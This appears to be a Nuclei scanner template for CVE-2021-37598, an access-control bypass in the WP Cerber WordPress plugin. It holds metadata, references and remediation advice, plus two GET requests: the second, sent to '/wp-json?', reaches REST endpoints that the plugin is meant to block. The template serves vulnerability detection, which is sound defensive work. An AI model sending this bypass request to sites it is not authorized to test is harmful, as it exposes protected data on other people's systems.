漏洞描述
WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints, exploit requires sending a request with a trailing '?'.
id: CVE-2021-37598
info:
name: WP Cerber < 8.9.3 - Broken Access Control
author: theamanrawat
severity: medium
description: |
WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints, exploit requires sending a request with a trailing '?'.
impact: |
Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.
remediation: |
Update to version 8.9.3 or later.
reference:
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2021-0024/FEYE-2021-0024.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-37598
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-37598
epss-score: 0.07563
epss-percentile: 0.91552
cwe-id: CWE-863
metadata:
verified: false
max-request: 3
vendor: wp-cerber
product: wp-cerber
tags: cve,cve2021,wordpress,wp-cerber,access-control,rest-api,exposure,auth-bypass
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-json"
matchers:
- type: status
status:
- 403
- 404
internal: true
- method: GET
path:
- "{{BaseURL}}/wp-json?"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"name":'
- '"url":'
- '"home":'
- '"description":'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# digest: 4b0a00483046022100994f311904c79d41e235f703f92ea92239d7c97145e04553f54d02ebbf559daf022100af35a45eaf26ce24becfb860904200d2f03992933ff3821e30184d82541eddf9:922c64590222798bb761d5b6d8e72950